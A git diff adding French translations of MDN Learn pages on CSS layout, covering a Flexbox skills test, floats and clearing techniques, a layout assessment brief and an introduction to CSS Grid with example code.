diff --git a/files/fr/learn/css/css_layout/flexbox_skills/index.html b/files/fr/learn/css/css_layout/flexbox_skills/index.html new file mode 100644 index 0000000000..8cb4d16891 --- /dev/null +++ b/files/fr/learn/css/css_layout/flexbox_skills/index.html @@ -0,0 +1,99 @@ +--- +title: 'Testez vos compétences : Flexbox' +slug: Apprendre/CSS/CSS_layout/Flexbox_skills +translation_of: Learn/CSS/CSS_layout/Flexbox_skills +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Flexbox", "Apprendre/CSS/CSS_layout/Grids", "Apprendre/CSS/CSS_layout")}}
+ +

Le but de cette tâche est de vous faire travailler avec Flexbox et de démontrer votre compréhension du comportement des éléments flexibles. Vous trouverez ci-dessous quatre modèles de conception courants que vous pourriez utiliser pour créer avec Flexbox, votre tâche est de les construire.

+ +
+

Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks.
+
+ If you get stuck, then ask us for help — see the {{anch("Assessment or further help")}} section at the bottom of this page.

+
+ +

Flex Layout One

+ +

Ces éléments de liste constituent la navigation pour un site. Ils doivent être disposés en ligne, avec un espace égal entre chaque élément. L'exemple fini doit ressembler à l'image ci-dessous.

+ +

Flex items laid out as a row with space between them.

+ +

Essayez de mettre à jour le code ci-dessous pour recréer l'exemple terminé :

+ +

{{EmbedGHLiveSample("css-examples/learn/tasks/flexbox/flexbox1.html", '100%', 700)}}

+ +
+

For assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor.

+
+ +

Flex Layout Two

+ +

Ces éléments de liste sont tous de tailles différentes, mais nous voulons qu'ils soient affichés sous forme de trois colonnes de taille égale, quel que soit le contenu de chaque élément.

+ +

Flex items laid out as three equal size columns with different amounts of content.

+ +

Essayez de mettre à jour le code ci-dessous pour recréer l'exemple terminé :

+ +

{{EmbedGHLiveSample("css-examples/learn/tasks/flexbox/flexbox2.html", '100%', 800)}}

+ +

Questions supplémentaires:

+ +
    +
  • Pouvez-vous maintenant faire en sorte que le premier article soit deux fois plus grand que les autres ?
    • +
+ +
+

For assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor.

+
+ +

Flex Layout Three

+ +

Il y a deux éléments dans le HTML ci-dessous, une div avec une classe .parent qui contient une autre div avec une classe .child. Utilisez Flexbox pour centrer le fichier enfant à l'intérieur du parent.

+ +

A box centered inside another box.

+ +

Essayez de mettre à jour le code ci-dessous pour recréer l'exemple terminé :

+ +

{{EmbedGHLiveSample("css-examples/learn/tasks/flexbox/flexbox3.html", '100%', 800)}}

+ +
+

For assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor.

+
+ +

Flex Layout Four

+ +

Dans cette dernière tâche, placez ces éléments en lignes comme dans l'image.
+  

+ +

A set of items displayed as rows.

+ +

Essayez de mettre à jour le code ci-dessous pour recréer l'exemple terminé :

+ +

{{EmbedGHLiveSample("css-examples/learn/tasks/flexbox/flexbox4.html", '100%', 800)}}

+ +
+

For assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor.

+
+ +

Assessment or further help

+ +

You can practice these examples in the Interactive Editors mentioned above.

+ +

If you would like your work assessed, or are stuck and want to ask for help:

+ +
    +
  1. Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections.
    2. +
  2. Write a post asking for assessment and/or help at the MDN Discourse forum. Add the "learning" tag to your post so we are able to more easily find it. Your post should include: +
      +
    • A descriptive title such as "Assessment wanted for Flexbox layout 1 skill test".
      • +
    • Details of what you would like us to do — for example what you have already tried, if you are stuck and need help,.
      • +
    • A link to the example you want assessed or need help with, in an online editor. This is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code.
      • +
    • A link to the actual task or assessment page, so we can find the question you want help with.
      • +
    +
    3. +
+ +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout")}}

diff --git a/files/fr/learn/css/css_layout/floats/index.html b/files/fr/learn/css/css_layout/floats/index.html new file mode 100644 index 0000000000..a4814ac036 --- /dev/null +++ b/files/fr/learn/css/css_layout/floats/index.html @@ -0,0 +1,509 @@ +--- +title: Les boîtes flottantes +slug: Apprendre/CSS/CSS_layout/Floats +tags: + - Article + - Boîtes flottantes + - CSS + - Codage + - Débutant + - Dégagement + - Flotteurs + - Guide + - Mise en page + - colonnes + - multi‑colonne +translation_of: Learn/CSS/CSS_layout/Floats +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout")}}
+ +

À l'origine conçue pour faire flotter des images à l'intérieur d'un bloc de texte, la propriété float est devenue un des outils les plus communément utilisés pour créer des dispositions sur plusieurs colonnes dans des pages web. Avec la venue de Flexbox et de Grid, il est maintenant revenu à sa destination initiale, comme l'explique l'article.

+ + + + + + + + + + + + +
Prérequis :Les bases du HTML (étudiez Introduction au HTML), et une idée de la manière dont fonctionne CSS (étudiez Introduction au CSS.)
Objectif :Apprendre comment créer des éntités flottantes dans les pages web, ainsi qu'utiliser la propriété clear et autres méthodes de dégagement des boîtes flottantes.
+ +

Contexte de boîtes flottantes

+ +

La propriété float a été introduite pour permettre aux développeurs web d'implémenter des dispositions simples comme une image flottant dans une colonne de texte, le texte se développant autour de cette image sur la gauche ou sur la droite. Le genre de choses que vous pourriez avoir dans une mise en page de journal.

+ +

Mais les développeurs web se sont vite rendus compte que tout élément pouvait flotter, pas seulement les images, et c'est ainsi que l'utilisation de float s'est élargie. Notre exemple de paragraphe élégant vu plus haut dans le cours montre comment vous pouvez utiliser float pour créer une lettrine.

+ +

Les boîtes flottantes ont été couramment utilisées pour créer des mises en page complètes de sites web avec plusieurs colonnes d'informations flottant les unes à côté des autres (le comportement par défaut est une superposition des contenus, dans le même ordre que dans le code source). De nouvelles techniques de mises en page bien meilleures sont disponibles, nous les avons déjà vues dans ce module, et l'utilisation des boîtes flottantes à cette fin doit être considérée comme une technique du passé.

+ +

Dans cet article, nous nous limiterons notre exposé à l'utilisation appropriée des boîtes flottantes.

+ +

Exemple simple de boîte flottante

+ +

Découvrons comment utiliser les boîtes flottantes. Nous commencerons par un exemple très simple consistant à faire flotter un élément dans un bloc de texte. Vous pouvez suivre cela en créant un nouveau fichier index.html sur votre ordinateur initialisé avec un simple modèle HTML et en y insérant le code ci-dessous à la bonne place. Au bas de ce paragraphe vous pouvez directement voir un exemple en direct de ce à quoi le code final doit ressembler.

+ +

Tout d'abord, commençons  avec un HTML simple — ajoutez le code ci-dessous dans l'élément body en supprimant tout ce qu'il y avait avant :

+ + + +
<h1>Exemple simple de boîte flottante</h1>
+
+<img src="https://mdn.mozillademos.org/files/13340/butterfly.jpg" alt="Un joli papillon de couleur rouge, blanche et brune sur une grande feuille">
+
+<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
+
+<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
+ +

Maintenant, appliquez la CSS suivante au HTML ci-dessus (avec un élément {{htmlelement("style")}} ou un élément {{htmlelement("link")}} pointant sur un fichier .css séparé — comme vous voulez):

+ +
body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif
+}
+
+.box {
+  width: 150px;
+  height: 100px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+ +

Si vous enregistrez et actualisez maintenant, vous verrez quelque chose qui ressemble un peu à ce à quoi vous vous attendiez — la boîte est au-dessus du texte suivant le cours normal de l'affichage. Pour faire flotter l'image dans le texte ajoutez ces deux propriétés à la règle pour .box :

+ +
.box {
+  float: left;
+  margin-right: 15px;
+  width: 150px;
+  height: 100px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+ +

Enregistrez et actualisez à nouveau et vous verrez quelque chose comme ce qui suit:

+ +
+ +
+ +

{{ EmbedLiveSample('Float_1', '100%', 500) }}

+ +

Voyons comment fonctionne la boîte flottante — l'élément possèdant la propriété float (l'élément box dans notre cas) est retiré du cours normal de  la mise en page du document et collé du côté gauche (left) de son conteneur parent ({{htmlelement("body")}}, dans ce cas). Tout contenu disposé après l'élément flottant dans le cours normal de la mise en page (c'est à dire disposé à la suite dans le code source) va maintenant l'envelopper en remplissant l'espace sur sa droite sur toute sa hauteur. Là, ça s'arrête.

+ +

Faire flotter le contenu surla droite a exactement le même effet, mais inversé — l'élément flottant se plaque sur la droite du conteneur et le contenu l'enveloppera en se plaçant à gauche. Donnez la valeur right à la propriété float et remplacez {{cssxref("margin-right")}} par {{cssxref("margin-left")}} dans le dernier jeu de règles, et observez le résultat.

+ +

Ajoutez une classe special au premier paragraphe du texte suivant immédiatement la boîte flottante, puis dans la CSS ajoutez les règles suivantes. Elles donnent à ce paragraphe une couleur de fond.

+ +
.special {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+}
+
+ +

Pour mieux visualiser l'effet, modifiez margin-right de la boîte flottante en margin de façon à avoir le même espace tout autour de la boîte flottante. Vous verrez l'arrière-plan du paragraphe juste au dessous de la boîte flottante comme dans l'exemple ci-dessous :

+ +
+ +
+ +

{{ EmbedLiveSample('Float_2', '100%', 500) }}

+ +

Les lignes du paragraphe  suivant la boîte flottante  ont été raccourcies pour que le texte entoure cette boîte, mais comme elle a été sortie du cours normal, la boîte du contenu du paragraphe reste sur toute la largeur du conteneur.

+ +

Dégagement des boîtes flottantes

+ +

Nous avons vu que la boîte flottante est retirée du cours normal de l'affichage et que les autres éléments se placent à côté, donc si nous voulons empêcher un élément à la suite de remonter pour se placer à côté, nous devons le dégager. Cette opération se réalise à l'aide de la propriété {{cssxref("clear")}}.

+ +

Dans le HTML de l'exemple précédent, donnez la classe cleared au second paragraphe sous l'élément destiné à être placé à côté de la boîte flottante. Puis, ajoutez ceci à la CSS :

+ +
.cleared {
+  clear: left;
+}
+
+ +
+ +
+ +

{{ EmbedLiveSample('Float_3', '100%', 600) }}

+ +

Vous verrez que le paragraphe suivant s'est dégagé de l'élément flottant et ne remonte plus à côté de ce dernier. La propriété  clear accepte les valeurs suivantes :

+ +
    +
  • left : dégage les élément à gauche de la boîte flottante.
    • +
  • right : dégage les éléments à droite.
    • +
  • both : dégage de tous élément flottant, à gauche et à droite.
    • +
+ +

Dégagement de boîtes autour d'une boîte flottante

+ +

Vous savez comment dégager quelque chose suivant un élément flottant, mais regardez ce qui arrive si vous avez une boîte flottante de grande hauteur et un paragraphe de texte court dans une boîte enveloppant les deux. Modifiez votre document de sorte que le premier paragraphe et la boîte flottante soient englobés dans un élément {{htmlelement("div")}} de la classe wrapper.

+ +
<div class="wrapper">
+  <div class="box">Boîte flottante</div>
+
+  <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate.</p>
+</div>
+
+ +

Dans la CSS, ajoutez la règle suivante pour la classe .wrapper et actualisez la page :

+ +
.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+}
+ +

Comme dans l'exemple où nous avons mis un arrière‑plan au paragraphe, vous voyez que la couleur d'arrière‑plan s'étale derrière la boîte flottante.

+ +
+ +
+ +

{{ EmbedLiveSample('Float_4', '100%', 600) }}

+ +

Encore une fois, c'est parce que la boîte flottante a été retirée du cours normal de l'affichage. Dégager l'élément suivant ne résout pas ce problème où vous voulez que la boîte d'emballage de l'élément flottant et le contenu textuel , même court, arrive au bas de l'élément flottant. Il y a trois façons possibles de résoudre ce problème, deux fonctionnant avec tous les navigateurs — mais relevant un peu de la débrouille — et une troisième, nouvelle, permettant de faire face à cette situation proprement.

+ +

Le « clearfix hack »

+ +

La façon dont cette situation est traditionnellement traitée consiste à utiliser un procédé connu sous le nom de « clearfix hack » (truc pour déboguer clear). Cela consiste à insérer un contenu après la boîte contenant le flotteur, envelopper le contenu et donner la valeur both à la propriété clear.

+ +

Ajoutez ceci à la CSS de notre exemple :

+ +
.wrapper::after {
+  content: "";
+  clear: both;
+  display: block;
+}
+ +

Maintenant actualisez la page et la boîte est dégagée. C'est pratiquement la même chose que si vous aviez ajouté un élément HTML tel que <div> en dessous avec la règle clear: both.

+ +
+ +
+ +

{{ EmbedLiveSample('Float_5', '100%', 600) }}

+ +

Utilisation du débordement

+ +

Une autre méthode consiste à fixer la valeur de la propriété {{cssxref("overflow")}} de wrapper à autre chose que visible.

+ +

Supprimez les éléments clearfix de la CSS su paragraphe précédent et, à la place, ajoutez overflow: auto aux règles pour wrapper. À nouveau, la boîte doit être dégagée.

+ +
.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+  overflow: auto;
+}
+ +
+ +
+ +

{{ EmbedLiveSample('Float_6', '100%', 600) }}

+ +

Cet exemple fonctionne en créant ce que l'on appelle un block formatting context (BFC) (contexte de formatage de bloc). C'est comme une mini composition à l'intérieur de la page, composition dans laquelle tout est contenu ; l'élément flottant est contenu à l'intérieur de la BFC et l'arrière-plan est derrière les deux éléments. Cela fonctionne en règle générale, mais dans certains cas, vous pourriez avoir des barres de défilement indésirables ou des ombres découpées en raison des conséquences involontaires de l'utilisation du débordement.

+ +

« display: flow-root »

+ +

La solution moderne de ce problème consiste à utiliser la valeur flow-root pour le propriété display. Elle n'existe que pour créer des BFC sans recourir à des astuces — il n'y pas de conséquences imprévisibles à son utilisation. Supprimez overflow: auto de la règle .wrapper et ajoutez display: flow-root. En supposant que votre navigateur le prenne en charge, la boîte sera dégagée.

+ +
.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+  display: flow-root;
+}
+ +
+ +
+ +

{{ EmbedLiveSample('Float_7', '100%', 600) }}

+ +

Résumé

+ +

Vous savez maintenant tout ce qu'il y a à savoir à propos des boîtes flottantes dans le développement moderne du web. Voyez l'article sur les Méthodes anciennes de mise en page pour toute information sur la façon dont elles étaient utilisées autrefois, ce qui pourrait se révéler utile si vous travaillez sur des projets anciens.

+ +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/css/css_layout/fundamental_layout_comprehension/index.html b/files/fr/learn/css/css_layout/fundamental_layout_comprehension/index.html new file mode 100644 index 0000000000..c97cc64ba9 --- /dev/null +++ b/files/fr/learn/css/css_layout/fundamental_layout_comprehension/index.html @@ -0,0 +1,81 @@ +--- +title: Compréhension fondamentale de la mise en page +slug: Apprendre/CSS/CSS_layout/Fundamental_Layout_Comprehension +translation_of: Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension +--- +
{{LearnSidebar}}
+ +

Si vous avez travaillé sur ce module, vous aurez déjà couvert les bases de ce que vous devez savoir pour faire la mise en forme CSS aujourd'hui, et pour travailler avec les anciennes CSS également. Cette tâche testera certaines de vos connaissances en développant une mise en page simple en utilisant diverses techniques.

+ + + + + + + + + + + + +
Conditions préalables:Avant de tenter cette évaluation, vous devriez déjà avoir passé en revue tous les articles de ce module.
Objectif:Pour tester la compréhension des compétences de base en aménagement couvertes dans ce module.
+ +

dossier de projet

+ +

Vous avez reçu du HTML brut, du CSS de base et des images - vous devez maintenant créer une mise en page pour la conception, qui devrait ressembler à l'image ci-dessous.

+ +

+ +

configuration de base

+ +

Vous pouvez télécharger le code HTML, CSS et un ensemble de six images ici .

+ +

Enregistrez le document HTML et la feuille de style dans un répertoire de votre ordinateur, puis ajoutez les images dans un dossier nommé images. Ouvrir le index.htmlfichier dans un navigateur devrait vous donner une page avec un style de base mais pas de mise en page, ce qui devrait ressembler à l'image ci-dessous.

+ +

Ce point de départ contient tout le contenu de votre mise en page, tel qu’il est affiché par le navigateur dans un flux normal.

+ +

+ +

Votre section detâches

+ +

Vous devez maintenant implémenter votre mise en page. Les tâches que vous devez accomplir sont:

+ +
    +
  1. Pour afficher les éléments de navigation dans une ligne, avec un espace égal entre les éléments.
    2. +
  2. La barre de navigation doit défiler avec le contenu, puis rester bloquée en haut de la fenêtre d’affichage quand elle l’atteint.
    3. +
  3. L'image qui se trouve à l'intérieur de l'article doit être entourée de texte.
    4. +
  4. Les éléments <article>et <aside>doivent s'afficher sous la forme d'une disposition à deux colonnes. La taille des colonnes doit être flexible de sorte que, si la fenêtre du navigateur est réduite, les colonnes deviennent plus étroites.
    5. +
  5. Les photographies doivent s’afficher sous forme de grille à deux colonnes avec un intervalle de 1 pixel entre les images.
    6. +
+ +

Vous n'aurez pas besoin de modifier le code HTML pour obtenir cette présentation. Les techniques à utiliser sont les suivantes:

+ +
    +
  • Positionnement
    • +
  • Flotte
    • +
  • Flexbox
    • +
  • CSS Grid Layout
    • +
+ +

Vous pouvez réaliser certaines de ces tâches de plusieurs manières et il n’existe souvent pas de bonne ou de mauvaise façon de faire les choses. Essayez différentes approches et voyez laquelle fonctionne le mieux. Prenez des notes pendant que vous expérimentez et vous pourrez toujours discuter de votre approche dans le fil de discussion de cet exercice ou dans le canal IRC #mdn .

+ +

Evaluation

+ +

Si vous suivez cette évaluation dans le cadre d'un cours organisé, vous devriez pouvoir donner votre travail à votre enseignant / mentor pour qu'il la corrige. Si vous vous auto-apprenez, vous pouvez obtenir le guide de notation assez facilement en vous renseignant sur le fil de discussion relatif à cet exercice ou sur le canal IRC #mdn sur Mozilla IRC . Essayez d’abord l’exercice - il n’ya aucun avantage à tricher!

+ +

Dans ce module Section

+ + diff --git a/files/fr/learn/css/css_layout/grids/index.html b/files/fr/learn/css/css_layout/grids/index.html new file mode 100644 index 0000000000..4fd7782640 --- /dev/null +++ b/files/fr/learn/css/css_layout/grids/index.html @@ -0,0 +1,715 @@ +--- +title: Grilles +slug: Apprendre/CSS/CSS_layout/Grids +tags: + - Apprendre + - Article + - CSS + - Codage + - Didacticiel + - Débutant + - Guide + - Mise en page + - Trames + - Trames CSS + - quadrillage du design + - structure du quadrillage + - système de trames +translation_of: Learn/CSS/CSS_layout/Grids +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout")}}
+ +

« CSS Grid Layout » (Trames avec les CSS) est un système de mise en page bidimensionnel. Il vous permet de disposer les contenus en lignes et en colonnes ; il possède de nombreuses fonctionnalités simplifiant la construction de mises en page complexes. Cet article vous indique tout ce que vous devez savoir pour commencer une mise en page avec une trame.

+ + + + + + + + + + + + +
Prérequis :Les fondamentaux du HTML (étudiez Introduction au HTML) et une idée de la manière dont la CSS fonctionne (étudiez Introduction aux CSS et Styles de boîtes).
Objectif :Comprendre les concepts fondamentaux sous-jacents de la disposition en trame et comment la mettre en œuvre en utilisant « CSS Grid ».
+ +

Qu'est qu'une disposition en trame ?

+ +

Une trame est simplement un ensemble de lignes horizontales et verticales créant un quadrillage dans lequel nous pouvons agencer les éléments à afficher. Elles nous aident à créer des compositions dans lesquelles les éléments ne sautent pas ou ne changent pas de largeur au fur et à mesure que nous nous déplaçons d'une page à l'autre, ce qui assure une plus grande cohérence des sites Web.

+ +

La trame est constituée généralement de rangées (colonnes ou lignes). L'espace entre chaque ligne ou colonne est communément appelé gouttière.

+ +

Schéma du quadrillage

+ +

Création d'une trame CSS

+ +

Après avoir décidé le maillage voulu pour votre design, vous pouvez utiliser « CSS Grid Layout » pour créer une trame avec la CSS et y placer des éléments. Nous examinerons d'abord les caractéristiques de base de « Grid Layout » (disposition en quadrillage), puis nous explorerons comment créer un système de trame simple pour le projet.

+ +

Définition d'une trame

+ +

Pour débuter, téléchargez et ouvrez le fichier de départ dans l'éditeur de texte et dans le navigateur. Vous y verrez un exemple constitué d'un conteneur avec quelques enfants. Par défaut, ils sont présentés suivant le cours normal : les boîtes s'affichent donc accolées les unes au dessous des autres. Nous travaillerons avec ce fichier dans la première partie de la leçon ; nous y introduirons des changements et observerons les modifications induites dans le comportement du maillage.

+ +

Pour définir un tramage, on affecte la valeur grid à la propriété {{cssxref("display")}}. De la même manière qu'avec Flexbox, nous basculons ainsi en « Grid Layout » (disposition en quadrillage) ; tous les enfants directs du conteneur deviennent des éléments de la maille. Ajoutez ceci à la CSS du fichier :

+ +
.container {
+    display: grid;
+}
+ +

Contrairement au cas de Flexbox, il n'y a sur le champ aucune différence pour les éléments. Déclarer display: grid fournit une chaîne à un seul fil et, donc, les éléments continuent à s'afficher juxtaposés comme dans un cours normal.

+ +

Pour voir quelque chose qui ressemble plus à un quadrillage, nous devons ajouter quelques fils de chaîne à la trame. Mettons trois colonnes de 200 pixels — vous pouvez utiliser n'importe quelle unité de taille ou bien un pourcentage pour créer ces rangées en colonne.

+ +
.container {
+    display: grid;
+    grid-template-columns: 200px 200px 200px;
+}
+ +

Ajoutons cette déclaration dans nos règles CSS, puis actualisons la page : nous voyons que les éléments ont été arrangés et placés chacun dans une cellule du quadrillage ainsi créé.

+ +
+ +
+ +

{{ EmbedLiveSample('Grid_1', '100%', 400) }}

+ +

Trames adaptables avec l'unité « fr »

+ +

En plus de créer des fils de chaîne en unités de longueur ou de pourcentage, nous pouvons utiliser l'unité « fr » pour moduler la taille des lignes et colonnes du quadrillage. Cette unité représente une fraction de l'espace disponible du conteneur de trame.

+ +

En changeant la liste des chaînes par la suivante, on crée trois chaînes de 1fr.

+ +
.container {
+    display: grid;
+    grid-template-columns: 1fr 1fr 1fr;
+}
+ +

Vous avez maintenant des chaînes de trame adaptables. L'espace est distribué en proportion de la valeur donnée à l'unité fr ; vous pouvez donc affecter des valeurs positives différentes à chaque piste. Par exemple, si vous changez la définition ainsi :

+ +
.container {
+    display: grid;
+    grid-template-columns: 2fr 1fr 1fr;
+}
+ +

La première chaîne obtient 2fr de l'espace disponible et les deux autres 1fr ; la première chaîne sera plus large. Il est possible de mélanger des unités fr et des largeurs fixes pour les chaînes — dans ce cas, l'espace nécessaire aux chaînes de largeur fixée est réservé avant la distribution proportionnelle de l'espace restant aux autres chaînes.

+ +
+ +
+ +

{{ EmbedLiveSample('Grid_2', '100%', 400) }}

+ +
+

Note : L'unité fr distribue l'espace disponible, et non sa totalité. Donc, si une des pistes contient quelque chose de grande taille, il y aura moins d'espace disponible à partager.

+
+ +

Espaces entre pistes

+ +

Pour créer des « gouttières » entre chaînes et trames, nous nous servons des propriétés {{cssxref("grid-column-gap")}} et {{cssxref("grid-row-gap")}} pour, respectivement, les espacements entre colonnes et entre lignes ; la propriété {{cssxref("grid-gap")}} définit les deux d'un coup.

+ +
.container {
+    display: grid;
+    grid-template-columns: 2fr 1fr 1fr;
+    grid-gap: 20px;
+}
+ +

Ces espacements peuvent être définis avec n'importe quelle unité de longueur ou un pourcentage, mais pas avec l'unité fr.

+ +
+ +
+ +

{{ EmbedLiveSample('Grid_3', '100%', 400) }}

+ +
+

Note : Les propriétés *gap étaient traditionnellement préfixées par grid-, mais la norme a été modifiée avec l'intention de la rendre utilisable dans les diverses méthodes de mise en page. Actuellement, Edge et Firefox prennent en charge la version non préfixée ; les versions préfixées seront maintenues en tant qu'alias, de sorte qu'elles seront utilisables en toute sécurité pendant un certain temps. En appliquant le principe de précaution, vous pouvez doubler et mettre les deux types de propriétés pour « blinder » votre code.

+
+ +
.container {
+  display: grid;
+  grid-template-columns: 2fr 1fr 1fr;
+  grid-gap: 20px;
+  gap: 20px;
+}
+ +

Répétition des listes de pistes

+ +

Vous pouvez répéter tout ou partie d'une liste de chaînes à l'aide d'une notation adaptée. Modifiez la liste des chaînes ainsi :

+ +
.container {
+    display: grid;
+    grid-template-columns: repeat(3, 1fr);
+    grid-gap: 20px;
+}
+ +

Nous obtenons 3 chaînes de 1fr de large, comme précédemment. La première valeur passée à la fonction repeat est le nombre de répétitions de la liste, définie par le paramètre suivant : celui-ci peut être une ou plusieurs chaînes que vous voulez répéter.

+ +

Trame implicite et explicite

+ +

Nous n'avons jusqu'à présent défini que des  chaînes en colonnes, mais on peut aussi les créer en lignes pour recevoir les contenus. C'est un exemple de trame explicite (la chaîne) vs. implicite (la trame). La chaîne explicite est celle créée avec grid-template-columns ou grid-template-rows. La trame implicite est créée lorsque l'on met du contenu dans ce quadrillage — comme dans les rangées de nos exemples. La cahîne explicite et la trame  implicite sont analogues aux axes principal et croisé de Flexbox.

+ +

Par défaut, les rangées de la trame implicite sont auto dimensionnées, ce qui signifie qu'elles sont, en général, suffisamment grandes pour accueillir le contenu. Si vous voulez que les rangées de trame créées par le navigateur aient une taille donnée, utilisez les propriétés  {{cssxref("grid-auto-rows")}} et {{cssxref("grid-auto-columns")}}. Si vous ajoutez la propriété grid-auto-rows avec une valeur de 100px dans la CSS, vous verrez que le rangées créées ont maintenant 100 pixels de haut.

+ +
+ + +
.container {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+  grid-gap: 20px;
+}
+
+ +

{{ EmbedLiveSample('Grid_4', '100%', 400) }}

+ +

La fonction minmax()

+ +

Les rangées de trame de 100 pixels de haut ne seront pas très utiles si nous y plaçons des contenus de plus de 100 pixels de haut : il y aurait alors débordement. Il est préférable d'avoir des pistes d'au moins 100 pixels de haut, mais susceptibles de s'agrandir si le contenu déposé le nécessite. C'est un constat classique à propos du web : vous ne savez jamais vraiment quelle sera la hauteur d'un élément ; du contenu supplémentaire ou des tailles de police plus grandes peuvent amener des problèmes avec des designs en pixels visant la perfection dans toute dimension.

+ +

La fonction minmax nous permet de fixer une taille maximale et minimale pour une trame, par exemple minmax(100px, auto). La taille minimale est de 100 px, mais la maximale est auto — elle  s'agrandira selon le contenu. Changeons grid-auto-rows en utilisant une valeur minmax :

+ +
.container {
+    display: grid;
+    grid-template-columns: repeat(3, 1fr);
+    grid-auto-rows: minmax(100px, auto);
+    grid-gap: 20px;
+}
+ +

Si vous ajoutez du contenu supplémentaire, vous verrez que la trame grandit pour permettre l'incorporation. Notez que l'agrandissement est général pour toute la rangée.

+ +

Autant de chaînes que possibles

+ +

Il est possible de combiner nos savoirs à propos des listes de pistes, la notation repeat et minmax() pour créer un modèle utile. Parfois, demander à ce que la génèration automatique crée autant de chaînes que possibles dans un conteneur nous faciliterait la tâche. Pour réaliser cela, définissez la valeur de grid-template-columns égale à repeat() avec le mot-clé auto-fill comme premier paramètre au lieu d'un nombre. Pour le second paramètre de la fonction, utilisez minmax() avec pour minimum la taille souhaitée pour la piste et 1fr pour maximum.

+ +

Essayez ceci dans le fichier avec la CSS ci-dessous :

+ +
+ + +
.container {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
+  grid-auto-rows: minmax(100px, auto);
+  grid-gap: 20px;
+}
+
+ +

{{ EmbedLiveSample('Grid_5', '100%', 400) }}

+ +

Il a été créé autant de chaînes de 200 pixels qu'il y a de place dans le conteneur, puis l'espace restant a été partagé entre toutes les colonnes — le maximum de 1fr répartit, comme nous le savons déjà, l'espace de façon égale entre rangées.

+ +

Placement sur les lignes

+ +

Nous passons maintenant de la création du quadrillage à la mise en place des choses sur dans celui-ci. Le quadrillage a toujours des fils de chaîne, ils commencent à 1 et sont en  relation avec le Writing Mode (mode d'écriture) du document. Ainsi, en anglais, la rangée de la chaîne 1 sera une colonne et se trouvera à gauche du quadrillage et la rangée de la trame sera une ligne 1 en haut. En arabe, la rangée de la chaîne 1 se situera du côté droit, car l'arabe s'écrit de droite à gauche.

+ +

Nous pouvons placer les choses dans ces rangées en indiquant les rangées de début et de fin. Pour ce faire, nous utilisons les propriétés suivantes :

+ +
    +
  • {{cssxref("grid-column-start")}}
    • +
  • {{cssxref("grid-column-end")}}
    • +
  • {{cssxref("grid-row-start")}}
    • +
  • {{cssxref("grid-row-end")}}
    • +
+ +

Ces propriétés acceptent toutes un numéro de ligne comme valeur. Vous pouvez également utiliser les formes abrégées de ces propriétés :

+ +
    +
  • {{cssxref("grid-column")}}
    • +
  • {{cssxref("grid-row")}}
    • +
+ +

Cela vous permet de définir les rangées de départ et de fin simultanément, en les séparant avec un / — une barre inclinée.

+ +

Pour débuter, téléchargez ce fichier. Il comporte déjà une définition de quadrillage et un seul article. Constatez que le placement automatique met les éléments dans chaque cellule du quadrillage créé.

+ +

À la place, nous allons mettre la totalité des éléments du site sur le quadrillage en utilisant les rangées de la chaîne (les colonnes dans notre cas). Ajoutez les règles ci-après à la fin de la CSS :

+ +
header {
+  grid-column: 1 / 3;
+  grid-row: 1;
+}
+
+article {
+  grid-column: 2;
+  grid-row: 2;
+}
+
+aside {
+  grid-column: 1;
+  grid-row: 2;
+}
+
+footer {
+  grid-column: 1 / 3;
+  grid-row: 3;
+}
+ +
+ +
+ +

{{ EmbedLiveSample('Grid_6', '100%', 400) }}

